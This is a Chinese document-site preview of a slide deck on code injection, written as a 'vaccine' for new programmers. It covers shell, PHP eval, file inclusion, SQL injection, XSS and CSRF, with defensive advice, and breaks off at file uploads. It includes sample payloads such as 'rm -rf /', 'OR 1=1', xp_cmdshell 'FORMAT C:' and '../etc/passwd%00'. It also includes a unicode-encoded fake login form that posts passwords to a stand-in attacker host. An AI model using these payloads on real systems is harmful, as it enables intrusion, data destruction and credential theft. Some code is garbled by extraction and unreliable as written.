程序代码注入.ppt_第1页
程序代码注入.ppt_第2页
程序代码注入.ppt_第3页
程序代码注入.ppt_第4页
程序代码注入.ppt_第5页
已阅读5页,还剩13页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、程序员疫苗:代码注入,几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗代码注入。,Shell注入,我们先来看一段perl的代码: use CGI qw(:standard); $name = pa

2、ram(name); $nslookup = /path/to/nslookup; print header; if (open($fh, $nslookup $name|) while () print escapeHTML($_); print n; close($fh); 如果用户输入的参数是: %20%3B%20/bin/ls%20-l那么,这段perl的程序就成了: /path/to/nslookup ; /bin/ls -l,我们再来看一段PHP的程序,$myvar = somevalue; $x = $_GETarg; eval($myvar = . $x . ;);“eval“

3、的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system(rm -rf /)“,后面的”system(rm -rf /)“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”),PHP代码,再来看一个PHP的代码 $isadmin= false; . . foreach ($_GET as $key = $value) $key = $value; 如果攻击者在查询字符串中给定”isadmin=1,那$isadmin将会被设为值 “1,然后攻击值就取得了网站应用的admin权限了。,PH

4、P示例,$action = login; if (_isset( $_GETact ) ) $action = $_GETact; require( $action . .php ); 这个代码相当危险,攻击者有可能可以干这些事: /test.php?act=http:/evil/exploit- 注入远程机器上有漏洞的文件。 /test.php?act=/home/www/bbs/upload/exploit- 从一个已经上载、叫做exploit.php文件运行其代码。 /test.php?act=././././etc/passwd%00- 让攻击者取得该UNIX系统目录检索下密码文件的内

5、容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击) 这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。,S

6、QL注入,SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。 在数据库中开放了不必要但权力过大的功能(例如

7、在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等) 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。,例程,某个网站的登录验证的SQL查询代码为 strSQL = SELECT * FROM users WHERE (name = + userName + ) and (pw = + passWord +); 用户在登录时恶意输入如下的的用户名和口令: userName = OR 1=1; passWord = OR 1=1; 此时,将导致原本的SQL字符串被解析为: strS

8、QL = SELECT * FROM users WHERE (name = OR 1=1) and (pw = OR 1=1); 也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 strSQL = SELECT * FROM users; 这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: username= ; DELETE FROM users; -;这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。,当他们发现一个网站有SQL注入的时候,他们一般会干下面的事: 盗取数据表中的数据,例如个人机密数据(信用卡,身份证,手机号,通讯录),

9、帐户数据,密码等,获得用户的数据和信息后对这些用户进行“社会工程学”活动(如:我前两天在微信上亲身经历)。 取得系统管理员权限(例如ALTER LOGIN sa WITH PASSWORD=xxxxxx)。 在数据库中的数据中插入一些HTML/JS代码,有可能得以在网页加入恶意链接以及XSS,这样一来就让访问者被黑。 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如:MS SQL Server的 xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务)。甚至破坏硬盘数据,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。 现

10、在的黑客比较坏,瘫痪系统的事,他们干的越来越少,因为没什么利益,他们希望通过获取用户的帐号信息后,转而攻击用户别的帐号,如游戏帐号,网银帐号,QQ帐号等等他们可以获利的事情(这就是为什么我希望大家在不站点上使用不同的口令,甚至不同的用户信息的原因),如何避免,在组合SQL字符串时,先针对所传入的参数作字符转义(如:将单引号字符取代为连续2个单引号字符)。如果使用PHP开发网页程序的话,亦可打开PHP的Magic quote功能自动将所有的网页传入参数,将单引号字符取代为连续2个单引号字符。如果可能应该过滤以下字符:分号“;”,两个减号“”,单引号“”,注释“/* */”。(当然,因为注入攻击一

11、般用闭合的引号来玩,所以把引号转义了应该就没有什么问题了) 更换危险字符。例如在PHP通过addslashes()函数保护SQL注入。 限制用户输入的长度,限制用户输入的取值范围。 为当前应用建立权限比较小的数据库用户,这样不会导致数据库管理员丢失。 把数据库操作封装成一个Service,对于敏感数据,对于每个客户端的IP,在一定时间内每次只返回一条记录。这样可以避免被拖库。,跨网站脚本注入,跨网站脚本(Cross-sitescripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻

12、击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。,假如我们有这样一段PHP的代码,$username = $_GETusername; echo Welcome, . $username . ;那么我们可以这样来注入: http:/trustedS been attacked!”); 甚至这样: http:/trustedS Login:Username: Passw

13、ord: 这会让网页显示以下内容: Welcome, Please Login: Username: Password: ,注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码),trustedS document.write(u003Cu0064u0069u0076u0020u0069u0064u003Du0022u0073 u0074u0065u0061u006Cu0050u0061u0073u0073u0077u006Fu0072u0064 u0022u003Eu0050u006Cu0065u0061u0073u0065u0020u004Cu006Fu0067 u0069u0

14、06Eu003Au003Cu0066u006Fu0072u006Du0020u006Eu0061u006D u0065u003Du0022u0069u006Eu0070u0075u0074u0022u0020u0061u0063 u0074u0069u006Fu006Eu003Du0022u0068u0074u0074u0070u003Au002F u002Fu0061u0074u0074u0061u0063u006Bu002Eu0065u0078u0061u006D u0070u006Cu0065u002Eu0063u006Fu006Du002Fu0073u0074u0065u0061 u0

15、06Cu0050u0061u0073u0073u0077u006Fu0072u0064u002Eu0070u0068 u0070u0022u0020u006Du0065u0074u0068u006Fu0064u003Du0022u0070 u006Fu0073u0074u0022u003Eu0055u0073u0065u0072u006Eu0061u006D u0065u003Au0020u003Cu0069u006Eu0070u0075u0074u0020u0074u0079 u0070u0065u003Du0022u0074u0065u0078u0074u0022u0020u006Eu00

16、61 u006Du0065u003Du0022u0075u0073u0065u0072u006Eu0061u006Du0065 u0022u0020u002Fu003Eu003Cu0062u0072u002Fu003Eu0050u0061u0073 u0073u0077u006Fu0072u0064u003Au0020u003Cu0069u006Eu0070u0075 u0074u0020u0074u0079u0070u0065u003Du0022u0070u0061u0073u0073 u0077u006Fu0072u0064u0022u0020u006Eu0061u006Du0065u00

17、3Du0022 u0070u0061u0073u0073u0077u006Fu0072u0064u0022u0020u002Fu003E u003Cu0069u006Eu0070u0075u0074u0020u0074u0079u0070u0065u003D u0022u0073u0075u0062u006Du0069u0074u0022u0020u0076u0061u006C u0075u0065u003Du0022u004Cu006Fu0067u0069u006Eu0022u0020u002F u003Eu003Cu002Fu0066u006Fu0072u006Du003Eu003Cu00

18、2Fu0064u0069u0076u003Eu000D);,XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作(甚至偷用户的cookie)。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招,还有可能导致后台管理权限被盗。关于其中的一些细节可以参看新浪微博的XSS攻击一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的腾讯微博的XSS攻击。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javas

19、cript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章浏览器HTML安全列表) ?script?alert(1)?/script? ,XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: 很有可能你就在访问A站的这个贴

20、子时,你的网银可能向我转了一些钱。,如何避免,要防止XSS攻击,一般来说有下面几种手段: 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。 严格过滤用户的输入。如: PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。 Python的cgi.escape() ASP的Server.HTMLEncode()。 Node.js的node-validator。 Java的xssprotect 。 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查

21、看用户的敏感信息等等。 限制cookie的过期时间。 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库) 另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。,上传文件,上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: 要上传的文

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论